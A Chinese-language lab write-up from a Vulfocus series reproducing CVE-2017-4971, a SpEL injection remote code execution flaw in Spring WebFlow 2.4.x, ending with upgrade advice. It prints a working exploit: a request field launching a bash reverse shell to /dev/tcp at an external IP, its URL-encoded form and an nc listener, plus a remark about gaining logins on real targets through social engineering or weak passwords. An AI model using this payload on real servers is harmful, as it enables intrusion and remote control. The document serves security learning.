[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)

简介

Spring WebFlow 是一个适用于开发基于流程的应用程序的框架(如购物逻辑),可以将流程的定义和实现流程行为的类和视图分离开来。在其 2.4.x 版本中,如果我们控制了数据绑定时的field,将导致一个SpEL表达式注入漏洞,最终造成任意命令执行。

影响版本:Spring Web Flow 2.4.0 到 2.4.4

环境搭建

使用vulfocus进行搭建docker环境,这里我使用的端口为8082
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第1张图片
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第2张图片

漏洞复现过程

1.首先利用左边给出的账号密码登录进去,在真实环境中进行测试时就要通过社工、弱口令等手段进行尝试登录了。
登录成功:
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第3张图片访问id为1的酒店,点击Book Hotel
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第4张图片
随便填写点信息后点击Process

[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第5张图片
点击确认Confirm抓包
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第6张图片
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第7张图片
发送数据包到重放模块,修改数据包
请求包中添加新字段:_(new java.lang.ProcessBuilder(“bash”,“-c”,“bash -i >& /dev/tcp/U-ip/port 0>&1”)).start()=vulhub

对bash -i >& /dev/tcp/120.53.235.174/6666 0>&1进行URL编码:bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F120.53.235.174%2F6666%200%3E%261

攻击端执行监听 nc -l -p 6666
在这里插入图片描述
发送修改好的数据包
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第8张图片可以看到攻击端已经连接上了shell,并且可以执行命令
[Vulfocus解题系列]Spring WebFlow 远程代码执行漏洞(CVE-2017-4971)_第9张图片

修复建议

建议相关版本的用户采取如下措施进行缓解

2.4.x用户升级到2.4.5
建议在视图状态中始终使用显式数据绑定声明, 以防止表单提交在不应设置的目标对象上设置字段。
Spring Web Flow with JSF 的用户不受到影响.

参考链接

https://vulhub.org/#/environments/spring/CVE-2017-4971/

你可能感兴趣的:(spring)